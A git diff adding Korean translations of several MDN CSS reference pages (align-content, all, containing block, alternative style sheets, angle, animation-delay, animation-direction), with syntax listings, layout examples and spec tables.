이 속성은 한 줄로만 이루어진 플렉스 컨테이너에는 아무 효과도 없습니다. (flex-wrap: nowrap 등)

+ +

구문

+ +
/* Basic positional alignment */
+/* align-content does not take left and right values */
+align-content: center;     /* Pack items around the center */
+align-content: start;      /* Pack items from the start */
+align-content: end;        /* Pack items from the end */
+align-content: flex-start; /* Pack flex items from the start */
+align-content: flex-end;   /* Pack flex items from the end */
+
+/* Normal alignment */
+align-content: normal;
+
+/* Baseline alignment */
+align-content: baseline;
+align-content: first baseline;
+align-content: last baseline;
+
+/* Distributed alignment */
+align-content: space-between; /* Distribute items evenly
+                                 The first item is flush with the start,
+                                 the last is flush with the end */
+align-content: space-around;  /* Distribute items evenly
+                                 Items have a half-size space
+                                 on either end */
+align-content: space-evenly;  /* Distribute items evenly
+                                 Items have equal space around them */
+align-content: stretch;       /* Distribute items evenly
+                                 Stretch 'auto'-sized items to fit
+                                 the container */
+
+/* Overflow alignment */
+align-content: safe center;
+align-content: unsafe center;
+
+/* Global values */
+align-content: inherit;
+align-content: initial;
+align-content: unset;
+
+ +

+ +
+
start
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 시작 모서리에 배치합니다.
+
end
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 끝 모서리에 배치합니다.
+
flex-start
+
플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 시작점에 따라 정렬 컨테이너 모서리에 배치합니다.
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 start로 취급합니다.
+
flex-end
+
플렉스 항목을 한 덩어리로 뭉치고, 플렉스 컨테이너의 교차 끝점에 따라 정렬 컨테이너 모서리에 배치합니다.
+ 플렉스 레이아웃 항목에만 적용됩니다. 플렉스 컨테이너의 자식이 아닌 항목에 대해서는 end로 취급합니다.
+
center
+
플렉스/그리드 항목을 한 덩어리로 뭉쳐서 정렬 컨테이너 교차축의 중앙에 배치합니다.
+
normal
+
align-content를 지정하지 않았을 때처럼, 플렉스/그리드 항목을 한 덩어리로 뭉쳐서 기본 위치에 배치합니다.
+
baseline
+ first baseline

+ last baseline
+
the baseline is the line upon which most letters "sit" and below which descenders extend.
+
Specifies participation in first- or last-baseline alignment: aligns the alignment baseline of the box’s first or last baseline set with the corresponding baseline in the shared first or last baseline set of all the boxes in its baseline-sharing group.
+ first baseline의 대체 정렬은 start이며 last baseline의 대체 정렬은 end입니다.
+
space-between
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목은 정렬 컨테이너 교차축의 시작점에, 마지막 항목은 정렬 컨테이너 교차축의 종료점에 붙입니다.
+
space-around
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리가 동일해집니다. 첫 항목 이전 여백과 마지막 항목 이후 여백은 각 항목간 거리의 절반이 됩니다.
+
space-evenly
+
정렬 컨테이너의 교차축을 따라 항목을 고르게 배치합니다. 이웃한 항목간의 거리, 첫 항목 이전 여백, 마지막 항목 이후 여백이 모두 같아집니다.
+
stretch
+
모든 항목의 교차축 방향 크기의 합이 정렬 컨테이너보다 작은 경우, 모든 auto 크기의 항목이 동일(비례하지 않음)하게 커져서 정렬 컨테이너의 교차축 방향을 가득 채웁니다. 단, 항목에 지정한 {{cssxref("max-height")}}/{{cssxref("max-width")}} 등의 크기 제한은 준수합니다.
+
safe
+
정렬 키워드와 함께 사용합니다. 주어진 키워드로 인해 항목이 정렬 컨테이너 밖으로 오버플로하게 되어 데이터가 유실될 수 있으면 항목 정렬에 start를 대신 사용합니다.
+
unsafe
+
정렬 키워드와 함께 사용합니다. 컨테이너와 항목의 상대적 크기 및 오버플로로 인한 데이터 유실에 상관하지 않고 주어진 정렬을 준수합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

CSS

+ +
#container {
+  height:200px;
+  width: 240px;
+  align-content: center; /* Can be changed in the live sample */
+  background-color: #8c8c8c;
+}
+
+.flex {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+.grid {
+  display: grid;
+  grid-template-columns: repeat(auto-fill, 50px);
+}
+
+div > div {
+  box-sizing: border-box;
+  border: 2px solid #8c8c8c;
+  width: 50px;
+  display: flex;
+  align-items: center;
+  justify-content: center;
+}
+
+#item1 {
+  background-color: #8cffa0;
+  min-height: 30px;
+}
+
+#item2 {
+  background-color: #a0c8ff;
+  min-height: 50px;
+}
+
+#item3 {
+  background-color: #ffa08c;
+  min-height: 40px;
+}
+
+#item4 {
+  background-color: #ffff8c;
+  min-height: 60px;
+}
+
+#item5 {
+  background-color: #ff8cff;
+  min-height: 70px;
+}
+
+#item6 {
+  background-color: #8cffff;
+  min-height: 50px;
+  font-size: 30px;
+}
+
+select {
+  font-size: 16px;
+}
+
+.row {
+  margin-top: 10px;
+}
+
+ +

HTML

+ +
<div id="container" class="flex">
+  <div id="item1">1</div>
+  <div id="item2">2</div>
+  <div id="item3">3</div>
+  <div id="item4">4</div>
+  <div id="item5">5</div>
+  <div id="item6">6</div>
+</div>
+
+<div class="row">
+  <label for="display">display: </label>
+  <select id="display">
+    <option value="flex">flex</option>
+    <option value="grid">grid</option>
+  </select>
+</div>
+
+<div class="row">
+  <label for="values">align-content: </label>
+  <select id="values">
+    <option value="normal">normal</option>
+    <option value="stretch">stretch</option>
+    <option value="flex-start">flex-start</option>
+    <option value="flex-end">flex-end</option>
+    <option value="center" selected>center</option>
+    <option value="space-between">space-between</option>
+    <option value="space-around">space-around</option>
+    <option value="space-evenly">space-evenly</option>
+
+    <option value="start">start</option>
+    <option value="end">end</option>
+    <option value="left">left</option>
+    <option value="right">right</option>
+
+    <option value="baseline">baseline</option>
+    <option value="first baseline">first baseline</option>
+    <option value="last baseline">last baseline</option>
+
+    <option value="safe center">safe center</option>
+    <option value="unsafe center">unsafe center</option>
+    <option value="safe right">safe right</option>
+    <option value="unsafe right">unsafe right</option>
+    <option value="safe end">safe end</option>
+    <option value="unsafe end">unsafe end</option>
+    <option value="safe flex-end">safe flex-end</option>
+    <option value="unsafe flex-end">unsafe flex-end</option>
+  </select>
+</div>
+
+ + + +

결과

+ +

{{EmbedLiveSample("예제", 260, 290)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Box Alignment", "#propdef-align-content", "align-content")}}{{Spec2("CSS3 Box Alignment")}}Adds the [ first | last ]? baseline, start, end, left, right, unsafe | safe values.
{{SpecName("CSS3 Flexbox", "#align-content", "align-content")}}{{Spec2("CSS3 Flexbox")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

플렉스 레이아웃 지원

+ +

{{Compat("css.properties.align-content.flex_context")}}

+ +

그리드 레이아웃 지원

+ +

{{Compat("css.properties.align-content.grid_context")}}

+
+ +

같이 보기

+ + + +
{{CSSRef}}
diff --git a/files/ko/web/css/all/index.html b/files/ko/web/css/all/index.html new file mode 100644 index 0000000000..baa5d4e4f0 --- /dev/null +++ b/files/ko/web/css/all/index.html @@ -0,0 +1,171 @@ +--- +title: all +slug: Web/CSS/all +tags: + - CSS + - CSS Cascade + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/all +--- +
{{CSSRef}}
+ +

CSS all 단축 속성은 요소의 {{cssxref("unicode-bidi")}}, {{cssxref("direction")}}, CSS 사용자 지정 속성을 제외한 모든 속성을 초기화합니다. 초깃값, 상속값, 아니면 다른 스타일시트 출처의 값으로 설정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/all.html")}}
+ + + +

구문

+ +
/* 전역 값 */
+all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+
+ +

all 속성은 CSS 전역 키워드 값 중 하나를 사용해 지정합니다. 그러나 어느것도 {{cssxref("unicode-bidi")}}와 {{cssxref("direction")}} 속성에는 영향을 주지 않는 점을 주의하세요.

+ +

+ +
+
{{cssxref("initial")}}
+
요소의 모든 속성을 초깃값으로 변경합니다.
+
{{cssxref("inherit")}}
+
요소의 모든 속성을 상속값으로 변경합니다.
+
{{cssxref("unset")}}
+
요소의 모든 속성을, 속성이 값을 상속하는 경우 상속값으로, 아니면 초깃값으로 변경합니다.
+
{{cssxref("revert")}}
+
선언이 속한 스타일시트의 출처에 따라 다른 동작을 합니다. +
+
사용자 에이전트 출처
+
unset과 동일합니다.
+
사용자 출처
+
종속을 사용자 에이전트 단계까지 되돌려서, 지정값이 마치 저작자와 사용자 단계의 규칙이 없었던 것처럼 계산되도록 합니다.
+
저작자 출처
+
종속을 사용자 에이전트 단계까지 되돌려서, 지정값이 마치 저작자 단계의 규칙이 없었던 것처럼 계산되도록 합니다. revert만 고려했을 때, 저작자 출처는 재정의(Override) 및 애니메이션(Animation) 출처를 포함합니다.
+
+
+
+ +

형식 정의

+ +

{{CSSInfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<blockquote id="quote">
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+</blockquote>
+Phasellus eget velit sagittis.
+ +

CSS

+ +
body {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+
+ +

결과

+ +
+

all 속성 없음

+ + + + +{{EmbedLiveSample("ex0", "200", "125")}} + +

The {{HTMLElement("blockquote")}}가 브라우저 기본 스타일과 함께, 지정한 배경 및 텍스트 색상을 사용합니다. 또한 블록 요소로 동작하여 뒤의 텍스트가 아래에 위치합니다.

+
+ +
+

all:unset

+ + + + +{{EmbedLiveSample("ex1", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 transparent(초깃값)입니다. 그러나 {{cssxref("font-size")}}는 여전히 small(상속값)이고 {{cssxref("color")}}도 blue(상속값)입니다.

+
+ +
+

all:initial

+ + + + +{{EmbedLiveSample("ex2", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 이제 인라인 요소(초깃값)이며, {{cssxref("background-color")}}가 transparent(초깃값)이고, {{cssxref("font-size")}}는 normal(초깃값), {{cssxref("color")}}는 black(초깃값)입니다.

+
+ +
+

all:inherit

+ + + + +{{EmbedLiveSample("ex3", "200", "125")}} + +

{{HTMLElement("blockquote")}}가 브라우저 기본 스타일을 사용하지 않습니다. 블록 요소(부모 {{HTMLElement("body")}}에서 상속)이고, {{cssxref("background-color")}}은 #F0F0F0(상속값), {{cssxref("font-size")}}는 small(상속값), {{cssxref("color")}}는 blue(상속값)입니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS4 Cascade') }}Added the revert value.
{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}{{ Spec2('CSS3 Cascade') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.all")}}

+ +

같이 보기

+ +

CSS 전역 키워드 값: {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}

diff --git a/files/ko/web/css/all_about_the_containing_block/index.html b/files/ko/web/css/all_about_the_containing_block/index.html new file mode 100644 index 0000000000..35c6bf56cb --- /dev/null +++ b/files/ko/web/css/all_about_the_containing_block/index.html @@ -0,0 +1,263 @@ +--- +title: 컨테이닝 블록의 모든 것 +slug: Web/CSS/All_About_The_Containing_Block +tags: + - CSS + - Guide + - Layout + - Position +translation_of: Web/CSS/Containing_block +--- +
{{cssref}}
+ +

요소의 크기와 위치는 컨테이닝 블록(containing block)의 영향을 받곤 합니다. 대부분의 경우, 어떤 요소의 컨테이닝 블록은 가장 가까운 블록 레벨 조상의 콘텐츠 영역이나, 항상 그런 것은 아닙니다. 이 글에서는 요소의 컨테이닝 블록을 결정하는 요인을 살펴보겠습니다.

+ +

사용자 에이전트(브라우저 등)는 문서를 그릴 때 모든 요소에 대해 상자(박스)를 생성합니다. 각각의 상자는 아래의 네 가지 영역으로 나눠집니다.

+ +
    +
  1. 콘텐츠 영역
  2. +
  3. 안쪽 여백(패딩) 영역
  4. +
  5. 테두리 영역
  6. +
  7. 바깥 여백(마진) 영역
  8. +
+ +

Diagram of the box model

+ +

많은 개발자들은 요소의 컨테이닝 블록이 언제나 부모 요소의 콘텐츠 영역이라고 생각하지만, 사실 꼭 그렇지는 않습니다. 어떤 항목이 컨테이닝 블록을 결정짓나 알아보겠습니다.

+ +

컨테이닝 블록의 효과

+ +

컨테이닝 블록을 결정하는 요인에 뭐가 있는지 알아보기 전에, 애초에 컨테이닝 블록이 무슨 상관인지 알아두는게 유용하겠습니다.

+ +

요소의 크기와 위치는 컨테이닝 블록의 영향을 자주 받습니다. 백분율 값을 사용한 {{cssxref("width")}}, {{cssxref("height")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성의 값과 절대적 위치(absolutefixed 등)로 설정된 요소의 오프셋 속성 값은 자신의 컨테이닝 블록으로부터 계산됩니다.

+ +

컨테이닝 블록 식별

+ +

컨테이닝 블록의 식별 과정은 {{cssxref("position")}} 속성에 따라 완전히 달라집니다.

+ +
    +
  1. position 속성이 static, relative, sticky 중 하나이면, 컨테이닝 블록은 가장 가까운 조상 블록 컨테이너(inline-block, block, list-item 등의 요소), 또는 가장 가까우면서 서식 맥락을 형성하는 조상 요소(table, flex, grid, 아니면 블록 컨테이너 자기 자신)의 콘텐츠 영역 경계를 따라 형성됩니다.
  2. +
  3. position 속성이 absolute인 경우, 컨테이닝 블록은 position 속성 값이 static이 아닌(fixed, absolute, relative, sticky) 가장 가까운 조상의 내부 여백 영역입니다.
  4. +
  5. position 속성이 fixed인 경우, 컨테이닝 블록은 {{glossary("viewport", "뷰포트")}}나 페이지 영역(페이지로 나뉘는 매체인 경우)입니다.
  6. +
  7. position 속성이 absolutefixed인 경우, 다음 조건 중 하나를 만족하는 가장 가까운 조상의 내부 여백 영역이 컨테이닝 블록이 될 수도 있습니다. +
      +
    1. {{cssxref("transform")}}이나 {{cssxref("perspective")}} 속성이 none이 아님.
    2. +
    3. {{cssxref("will-change")}} 속성이 transform이나 perspective임.
    4. +
    5. {{cssxref("filter")}} 속성이 none임. (Firefox에선 will-changefilter일 때도 적용)
    6. +
    7. {{cssxref("contain")}} 속성이 paint임.
    8. +
    +
  8. +
+ +
+

참고: 루트 요소({{HTMLElement("html")}})의 컨테이닝 블록은 초기 컨테이닝 블록이라고 불리는 사각형입니다. 초기 컨테이닝 블록은 뷰포트 또는 (페이지로 나뉘는 매체에선) 페이지 영역의 크기와 같습니다.

+
+ +

컨테이닝 블록으로부터 백분율 값 계산하기

+ +

앞서 언급했듯, 특정 속성의 값이 백분율이라면 그 계산값은 요소의 컨테이닝 블록에 의해 결정됩니다. 이렇게 동작하는 속성으로 박스 모델 속성오프셋 속성이 있습니다.

+ +
    +
  1. {{cssxref("height")}}, {{cssxref("top")}}, {{cssxref("bottom")}} 속성은 컨테이닝 블록의 height를 사용해 백분율을 계산합니다. 컨테이닝 블록의 height가 콘텐츠의 크기에 따라 달라질 수 있고, 컨테이닝 블록의 positionrelative거나 static이면 계산값은 0이 됩니다.
  2. +
  3. {{cssxref("width")}}, {{cssxref("left")}}, {{cssxref("right")}}, {{cssxref("padding")}}, {{cssxref("margin")}} 속성은 컨테이닝 블록의 width를 사용해 백분율을 계산합니다.
  4. +
+ +

예제

+ +

모든 예제의 HTML코드는 다음과 같습니다.

+ +
<body>
+  <section>
+    <p>문단입니다!</p>
+  </section>
+</body>
+
+ +

이하 예제는 모두 CSS만 변경합니다.

+ +

예제 1

+ +

다음 예제에서 문단은 정적 위치를 가지고, 가장 가까운 블록 컨테이너는 {{HTMLElement("section")}}이므로 문단의 컨테이닝 블록도 <section>입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: block;
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  width: 50%;   /* == 400px * .5 = 200px */
+  height: 25%;  /* == 160px * .25 = 40px */
+  margin: 5%;   /* == 400px * .05 = 20px */
+  padding: 5%;  /* == 400px * .05 = 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_1','100%','300')}}

+ +

예제 2

+ +

다음 예제에서 <section>display: inline으로 인해 블록 컨테이너가 아니고, 서식 문맥도 형성하지 않으므로 문단의 컨테이닝 블록은 {{HTMLElement("body")}} 요소입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  display: inline;
+  background: lightgray;
+}
+
+p {
+  width: 50%;     /* == body 너비의 절반 */
+  height: 200px;  /* 참고: 백분율 값이었으면 0 */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_2','100%','300')}}

+ +

예제 3

+ +

다음 예제에서는 <section>positionabsolute이기 때문에 문단의 컨테이닝 블록은 <section>입니다. 문단의 백분율 값은 컨테이닝 블록의 {{cssxref("padding")}} 값의 영향을 받겠지만, 컨테이닝 블록의 {{cssxref("box-sizing")}} 속성이 border-box였다면 그렇지 않을 것입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  position: absolute;
+  left: 30px;
+  top: 30px;
+  width: 400px;
+  height: 160px;
+  padding: 30px 20px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  width: 50%;   /* == (400px + 20px + 20px) * .5 = 220px */
+  height: 25%;  /* == (160px + 30px + 30px) * .25 = 55px */
+  margin: 5%;   /* == (400px + 20px + 20px) * .05 = 22px */
+  padding: 5%;  /* == (400px + 20px + 20px) * .05 = 22px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_3','100%','300')}}

+ +

예제 4

+ +

다음 예제에서는 문단의 positionfixed이므로 컨테이닝 블록은 초기 컨테이닝 블록(화면 매체에서는 뷰포트)입니다. 따라서 문단의 크기는 브라우저 창의 크기에 따라 변합니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  width: 400px;
+  height: 480px;
+  margin: 30px;
+  padding: 15px;
+  background: lightgray;
+}
+
+p {
+  position: fixed;
+  width: 50%;   /* == (50vw - (세로 스크롤바 너비)) */
+  height: 50%;  /* == (50vh - (가로 스크롤바 높이)) */
+  margin: 5%;   /* == (5vw - (세로 스크롤바 너비)) */
+  padding: 5%;  /* == (5vw - (세로 스크롤바 너비)) */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_4','100%','300')}}

+ +

예제 5

+ +

다음 예제에서는 문단의 positionabsolute이므로, 컨테이닝 블록은 {{cssxref("transform")}} 속성이 none이 아닌 가장 가까운 조상, <section>입니다.

+ + + +
body {
+  background: beige;
+}
+
+section {
+  transform: rotate(0deg);
+  width: 400px;
+  height: 160px;
+  background: lightgray;
+}
+
+p {
+  position: absolute;
+  left: 80px;
+  top: 30px;
+  width: 50%;   /* == 200px */
+  height: 25%;  /* == 40px */
+  margin: 5%;   /* == 20px */
+  padding: 5%;  /* == 20px */
+  background: cyan;
+}
+
+ +

{{EmbedLiveSample('예제_5','100%','300')}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/alternative_style_sheets/index.html b/files/ko/web/css/alternative_style_sheets/index.html new file mode 100644 index 0000000000..918ce3dd36 --- /dev/null +++ b/files/ko/web/css/alternative_style_sheets/index.html @@ -0,0 +1,24 @@ +--- +title: Alternative style sheets +slug: Web/CSS/Alternative_style_sheets +translation_of: Web/CSS/Alternative_style_sheets +--- +

Firefox는 + + 대체 스타일시트 + 를 지원합니다. 대체 스타일시트를 제공하는 페이지에서는 보기>페이지 스타일 메뉴를 이용하여 페이지에 적용될 스타일을 선택할 수 있습니다. 따라서 사용자는 자신이 원하는 다양한 종류의 페이지를 볼 수 있게 됩니다.

+

<tt>link</tt> 요소를 사용하여 웹 페이지에 대체 스타일시트를 제공할 수 있습니다.

+

예제:

+
 <link href="default.css" rel="stylesheet" type="text/css" title="Default Style">
+ <link href="fancy.css" rel="alternate stylesheet" type="text/css" title="Fancy">
+ <link href="basic.css" rel="alternate stylesheet" type="text/css" title="Basic">
+
+

위의 세 가지 스타일 시트를 제공하면, 페이지 스타일 메뉴에 "Default Style", "Fancy", "Basic" 스타일 목록이 출력됩니다. 사용자가 특정 스타일을 선택하면 페이지는 해당 스타일로 바로 다시 렌더링 됩니다.

+

link 또는 style 요소에 title 속성이 포함되어 있을 경우 해당 제목(title)은 사용자에게로 노출되어 사용자가 선택할 수 있게 됩니다. 동일한 제목을 가진 스타일시트가 여럿 존재할 경우 해당 스타일시트들은 모두 적용되며, title 속성이 없는 스타일시트는 항상 적용됩니다.

+

기본 스타일시트에는 rel="stylesheet" 속성을 사용하고 대체 스타일시트에는 rel="alternate stylesheet"를 사용하세요. 이를 통해 Firefox는 어떤 스타일시트 제목을 처음 선택해야 할지 알 수 있으며, 대체 스타일시트를 지원하지 않는 브라우저에게 기본 스타일시트가 무엇인지를 알려줍니다.

+

실제 예제

+

실제로 동작하는 예제는 여기에서 볼 수 있습니다.

+

명세

+ diff --git a/files/ko/web/css/angle-percentage/index.html b/files/ko/web/css/angle-percentage/index.html new file mode 100644 index 0000000000..a341698026 --- /dev/null +++ b/files/ko/web/css/angle-percentage/index.html @@ -0,0 +1,52 @@ +--- +title: +slug: Web/CSS/angle-percentage +tags: + - CSS + - CSS Data Type + - Data Type + - Reference + - 자료형 +translation_of: Web/CSS/angle-percentage +--- +
{{CSSRef}}
+ +

CSS <angle-percentage> 자료형은 {{cssxref("<angle>")}}과 {{cssxref("<percentage>")}} 모두 가능한 값을 나타냅니다.

+ +

구문

+ +

{{cssxref("<angle>")}}과 {{cssxref("<percentage>")}} 문서에서 각 자료형의 구문을 살펴보세요.

+ +

calc()에서 사용하기

+ +

<angle-percentage>를 사용할 수 있는 곳이라면 백분율이 각도로 계산되므로, 이 자료형도 {{cssxref("calc()")}}표현식에서 사용할 수 있습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#mixed-percentages', '<angle-percentage>')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS3 Values', '#mixed-percentages', '<angle-percentage>')}}{{Spec2('CSS3 Values')}}Defines <angle-percentage>. Adds calc()
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.angle-percentage")}}

diff --git a/files/ko/web/css/angle/index.html b/files/ko/web/css/angle/index.html new file mode 100644 index 0000000000..8125920a36 --- /dev/null +++ b/files/ko/web/css/angle/index.html @@ -0,0 +1,115 @@ +--- +title: +slug: Web/CSS/angle +tags: + - CSS + - CSS Data Type + - Data Type + - Layout + - Reference + - Web + - 자료형 +translation_of: Web/CSS/angle +--- +
{{CSSRef}}
+ +

CSS <angle> 자료형은 각도의 값을 도, 그레이드, 라디안 또는 회전수로 표현합니다. {{cssxref("<gradient>")}}나 일부 {{cssxref("transform")}} 함수에서 사용합니다..

+ +
{{EmbedInteractiveExample("pages/css/type-angle.html")}}
+ + + +

구문

+ +

<angle> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위처럼 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 0 뒤에는 단위를 붙이지 않아도 됩니다.

+ +

선택적으로 +, - 부호를 표시할 수 있습니다. 양의 부호는 시계방향 회전을, 음의 부호는 시계 반대방향 회전을 나타냅니다. 정적 속성에선 하나의 각도를 다른 각도로 표현할 수 있습니다. 예컨대 90deg-270deg, 1turn4turn과 동일합니다. 그러나 동적 속성, 즉 {{cssxref("animation")}}이나 {{cssxref("transition")}}에서는 결과가 달라집니다.

+ +

단위

+ +
+
deg
+
각도를 도 단위로 나타냅니다. 1회전은 360deg입니다. 예: 0deg, 90deg, 14.23deg
+
grad
+
각도를 그레이드로 나타냅니다. 1회전은 400grad입니다. 예: 0grad, 100grad, 38.8grad
+
rad
+
각도를 라디안으로 나타냅니다. 1회전은 2π 라디안으로 약 6.2832rad입니다. 1rad는 180/πdeg입니다. 예: 0rad, 1.0708rad, 6.2832rad
+
turn
+
각도를 회전의 수로 나타냅니다. 1회전은 1turn입니다. 예: 0turn, 0.25turn, 1.2turn
+
+ +

예제

+ +

시계 방향 우측 90도

+ + + + + + + + +
Angle90.png90deg = 100grad = 0.25turn ≈ 1.5708rad
+ +

반대로 회전

+ + + + + + + + +
Angle180.png180deg = 200grad = 0.5turn ≈ 3.1416rad
+ +

시계 반대 방향 우측 90도

+ + + + + + + + +
AngleMinus90.png-90deg = -100grad = -0.25turn ≈ -1.5708rad
+ +

회전 없음

+ + + + + + + + +
Angle0.png0 = 0deg = 0grad = 0turn = 0rad
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS4 Values', '#angles', '<angle>') }}{{ Spec2('CSS4 Values') }}
{{ SpecName('CSS3 Values', '#angles', '<angle>') }}{{ Spec2('CSS3 Values') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.angle")}}

diff --git a/files/ko/web/css/animation-delay/index.html b/files/ko/web/css/animation-delay/index.html new file mode 100644 index 0000000000..54f5d965e2 --- /dev/null +++ b/files/ko/web/css/animation-delay/index.html @@ -0,0 +1,85 @@ +--- +title: animation-delay +slug: Web/CSS/animation-delay +tags: + - CSS + - CSS Property + - CSS animation + - Reference +translation_of: Web/CSS/animation-delay +--- +
{{CSSRef}}
+ +

animation-delay CSS 속성은 애니메이션이 시작할 시점을 지정합니다. 시작 즉시, 잠시 후에, 또는 애니메이션이 일부 진행한 시점부터 시작할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/animation-delay.html")}}
+ + + +

{{cssxref("animation")}} 단축 속성을 사용해 애니메이션 관련 속성을 편리하게 같이 지정할 수 있습니다.

+ +

구문

+ +
/* Single animation */
+animation-delay: 3s;
+animation-delay: 0s;
+animation-delay: -1500ms;
+
+/* Multiple animations */
+animation-delay: 2.1s, 480ms;
+ +

+ +
+
{{cssxref("<time>")}}
+
애니메이션이 시작될 요소가 적용되는 순간부터의 시간 오프셋입니다. 이 값은 초 또는 밀리 초 (ms)로 지정할 수 있습니다. 이 값은 필수입니다.
+
양수 값은 지정된 시간이 경과 한 후 애니메이션이 시작되어야 함을 나타냅니다. 기본값인 0의 값은 애니메이션이 적용되는 즉시 시작해야 함을 나타냅니다.
+
+

음수 값을 지정하면 애니메이션이 즉시 시작되지만 애니메이션 주기의 도중에 시작됩니다. 예를 들어 애니메이션 지연 시간으로 -1s를 지정하면 애니메이션이 즉시 시작되지만 애니메이션 시퀀스의 1초부터 시작됩니다. 만약 animation-delay에 음수 값을 지정했지만 시작값이 절대값이면 시작값은 애니메이션이 요소에 적용된 시점부터 가져옵니다.

+
+
+ +
+

참고: animation- * 속성에 여러 개의 쉼표로 구분 된 값을 지정하면 animation-name 속성에 지정된 애니메이션에 할당되는 값의 수에 따라 다른 방식으로 지정됩니다. 자세한 내용은 여러 애니메이션 속성 값 설정을 참조하십시오.

+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

CSS 애니메이션 사용하기를 보세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}{{Spec2('CSS3 Animations')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ +
{{Compat("css.properties.animation-delay")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/animation-direction/index.html b/files/ko/web/css/animation-direction/index.html new file mode 100644 index 0000000000..7c5c8b56db --- /dev/null +++ b/files/ko/web/css/animation-direction/index.html @@ -0,0 +1,191 @@ +--- +title: animation-direction +slug: Web/CSS/animation-direction +tags: + - CSS 속성 + - CSS 애니메이션 +translation_of: Web/CSS/animation-direction +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

animation-direction CSS 속성은 애니메이션이 앞으로, 뒤로 또는 앞뒤로 번갈아 재생되어야하는지 여부를 지정합니다.

+ +
/* Single animation */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Multiple animations */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Global values */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+
+ +

축약 속성 {{cssxref ( "animation")}}을 사용하여 모든 애니메이션 속성을 한꺼번에 설정하는 것이 편리합니다.

+ +

{{cssinfo}}

+ +

문법(Syntax)

+ +

값(Values)

+ +
+
normal
+
 애니메이션은 매 사이클마다 정방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 시작 상태로 재설정되고 다시 시작됩니다. 이것은 기본값입니다.
+
reverse
+
애니메이션은 매 사이클마다 역방향으로 재생됩니다. 즉, 순환 할 때마다 애니메이션이 종료 상태로 재설정되고 다시 시작됩니다. 애니메이션 단계가 거꾸로 수행되고 타이밍 기능 또한 반대로됩니다. 예를 들어, ease-in 타이밍 기능은  ease-out형태로 변경됩니다.
+
alternate
+
애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 정방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.
+
alternate-reverse
+
애니메이션은 매 사이클마다 각 주기의 방향을 뒤집으며, 첫 번째 반복은 역방향으로 진행됩니다. 사이클이 짝수인지 홀수인지를 결정하는 카운트가 하나에서 시작됩니다.
+
+ +
+

